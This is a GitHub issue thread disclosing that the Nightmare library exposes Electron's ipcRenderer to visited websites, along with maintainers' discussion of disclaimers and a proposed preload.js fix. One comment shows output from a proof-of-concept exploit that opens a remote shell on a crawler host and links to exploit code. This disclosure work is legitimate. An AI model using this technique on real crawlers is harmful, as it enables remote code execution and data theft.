! Massive security hole in nightmare

[aight8]

The __nightmare object which is set on the window object, it contains the whole electron ipcRenderer on it, and it can be accessed by any website if they only want, every website have access to core electron features.

Furthermore just a deletion of the __nightmare (set it to null in the websites code) will freeze the evaluate method.

https://github.com/electron/electron/blob/master/docs/tutorial/security.md
electron/electron#7929

[chtrinh]

Maybe update the README.md with that link?
I feel like this is a same concern as 'eval bash install scripts' you find online.
Trust your source before you execute against it.

[illikainen]

@chtrinh most people probably wouldn't expect that a browser library
would allow a malicious site or a MITM to get RCE by simply asking the
crawler to execute commands through its IPC -- especially when the API
docs demonstrate how to crawl yahoo and other 3rd party sites over http

hji@nil:~/nightmare-ipc$ python3 exploit.py 172.16.1.1:8080
listening on 172.16.1.1:8080
172.16.1.2 - - [31/Mar/2017 21:11:37] "GET / HTTP/1.1" 200 -
=> we may have a shell on 172.16.1.2
$ id
uid=1003(crawl) gid=1003(crawl) groups=1003(crawl)
$ npm list nightmare
[email protected] /home/crawl/vuln
└── [email protected]

https://github.com/dyntopia/exploits/tree/master/nightmare-ipc

[aight8]

This were my next point to write an exploit. Since it's public now how it can open a shell, it's just left the zero-day state.
The biggest problem is, it allow full machine access in worst case steal a whole companies data etc. Instead a hint I really recommend to write a big: do not use on untrusted sites. Until the ipcRenderer is in safe place.

[ejcx]

Hi. I work on Security here at Segment and just heard of this issue. It's very interesting!

It is definitely not appropriate to allow websites to execute arbitrary code just because nightmare has loaded. We will have to fix this problem. I wonder if an easy fix is to somehow remove __nightmare from the global namespace. I am not super familiar with __nightmare, so I'm not sure if this is a small undertaking.

[casesandberg]

Do you have some time to throw together a PR for this? I would be happy to take a look at it. I am going to close this, but feel free to open a new issue if you get a chance to work on it.

[ejcx]

Hey @casesandberg . This had fallen off of my to do list when I had not heard back from anyone.

I don't think it's appropriate to close this. We should be fixing this.

[ejcx]

We merged a disclaimer, but I'm not sure what else we can do here. #1234.

I would love more feedback on how we can make this better.

[ejcx]

I'll close now until someone has a better idea of what to do or better advice.

[TimNZ]

@ejcx Bump.

I just spotted this in preload.js whilst doing changes for #1236 and came to report it.

Unless I'm missing something obvious, you absolutely do not need to create a global/window __nightmare object.

Since nodeIntegration should be disabled on the BrowserWindow, all declared vars in preload are not exposed to the regular JS context in the page, but preload has access to all JS context.

Just get the parent.respondTo('javascript') handler in runner.js to do a win.webContents.send('javascript',src) instead of an executeJavaScript, and preload.js is approx modified to below, and most of the the execute template code is migrated to preload.

Just tested and nicely returns an object defined by script in the browsed url page.

Happy to do a separate PR for this whilst do my other changes?

var thisEval = eval; // in case page JS overrides
var ipc = require('electron').ipcRenderer;
var sliced = require('sliced');

ipc.on('javascript',(sender,src) => {
  /* Most of the javascript.js:execute template code is moved here
  var result = thisEval(src);
  ipc.send('response',result);
})
// Listen for error events
window.addEventListener('error', function(e) {
  ipc.send('page', 'error', e.message, e.error.stack);
});

(function(){
  // prevent 'unload' and 'beforeunload' from being bound
  var defaultAddEventListener = window.addEventListener;
  window.addEventListener = function (type) {
    if (type === 'unload' || type === 'beforeunload') {
      return;
    }
    defaultAddEventListener.apply(window, arguments);
  };

  // prevent 'onunload' and 'onbeforeunload' from being set
  Object.defineProperties(window, {
    onunload: {
      enumerable: true,
      writable: false,
      value: null
    },
    onbeforeunload: {
      enumerable: true,
      writable: false,
      value: null
    }
  });

  // listen for console.log
  var defaultLog = console.log;
  console.log = function() {
    ipc.send('console', 'log', sliced(arguments));
    return defaultLog.apply(this, arguments);
  };

  // listen for console.warn
  var defaultWarn = console.warn;
  console.warn = function() {
    ipc.send('console', 'warn', sliced(arguments));
    return defaultWarn.apply(this, arguments);
  };

  // listen for console.error
  var defaultError = console.error;
  console.error = function() {
    ipc.send('console', 'error', sliced(arguments));
    return defaultError.apply(this, arguments);
  };

  // overwrite the default alert
  window.alert = function(message){
    ipc.send('page', 'alert', message);
  };

  // overwrite the default prompt
  window.prompt = function(message, defaultResponse){
    ipc.send('page', 'prompt', message, defaultResponse);
  }

  // overwrite the default confirm
  window.confirm = function(message, defaultResponse){
    ipc.send('page', 'confirm', message, defaultResponse);
  }
})()

[TimNZ]

Someone else made a comment in another issue about issues being closed prematurely, this def should never have been closed until resolved, open issues is generally the only way to track things to be done on a repo.

[ejcx]

@TimNZ I agree we wish we could solve this, but I frankly I'm not a node engineer and didn't really see a way to. Would love a PR so we can get it tested and merged.

I put a disclaimer on nightmare, since I didn't know how to solve it and this is definitely a real issue.

[TimNZ]

What happened to @rosshinkley.

So there is no Electron/Node expert now responsible for Nightmare, from Segment or otherwise?

[ejcx]

@TimNZ I'm the security person at segment who said this was a problem and not to close it without at least adding a disclaimer about the issue, not one of our many node and JavaScript experts.

Not sure what your point is. We want to fix this if it's possible to, it may take some time to schedule, PRs are very welcome as it will save me several conversations.

[TimNZ]

@ejcx What I'm wondering is if Nightmare has lost its core maintainer/expert and perhaps the love it was getting until earlier this year.

I am very grateful of the time and effort many people/orgs put into creating open source goodness, but so many projects that a large number of people start depending on get abandoned with little notice, or one day there are significantly increasing periods before anyone responds to issues.

Frankly I'd like Github to look at implementing a more structured maintainer framework so if current maintainers can't continue to do the project justice it was easy for them to say so and find someone in the community who can takeover.

I'm not saying that has happened here, but it kind of feels a little like it.

I'll do a PR this week.

[TimNZ]

I'm going to park this until I do my in-process changes, #1236.

Can't remove existing exposed window.__nightmare as that would break code relying on it who upgrades Nightmare, so would need to support an option such as securePreload=true, maintain two sets of execute templates, and conditional code in Nightmare.prototype.evaluate_now and parent.respondTo('javascript') in runner.js, based on what preload is to be used.

The other consideration is realistically how much of a real world issue is it, security or otherwise?

What sort of malicious site are you visiting that Also checks for Nightmare and sends crap via IPC..

[johnferro]

@TimNZ It would only be a breaking change for people who are loading external javascript that expects the window.__nightmare object to be there correct?

[TimNZ]

@johnferro Yes, It would break for people who loaded their own preload who have implemented window.__nightmare, likely just copying in the provided nightmare preload.js

I have no idea how common that would be.

My thinking is now with the changes I'm doing on #1236 that Nightmare should be bumped to v3 and it's a breaking change instead of having dual support?

For #1236 I'm pretty sure I have to modify the preload anyway.

[TimNZ]

Just read @dyntopia comment, def a security issue that should be fixed asap.

[johnferro]

@TimNZ Yeah makes sense, thanks for clearing that up! Personally I agree that a fix for this would definitely be important enough for a major version/breaking change.

[nylen]

This issue prevents me from using nightmare in my project. I'll probably go with chromeless instead.

[pixelomo]

This issue should be re-opened and resolved, otherwise I'm going with Puppeteer or Chromeless

[nylen]

I ended up going with puppeteer. I've found it extremely reliable and easy to use, not surprising given it's built by a team that works on Chrome itself.

[pixelomo]

@nylen Yep puppeteer looks like the way to go

[IAMtheIAM]

Repo maintainers should never close an issue that is unresolved. I use puppeteer now and it works great.

[matthewmueller]

Access to __nightmare has been removed in the latest release. Please take a look at this issue for more information about electron security: #1388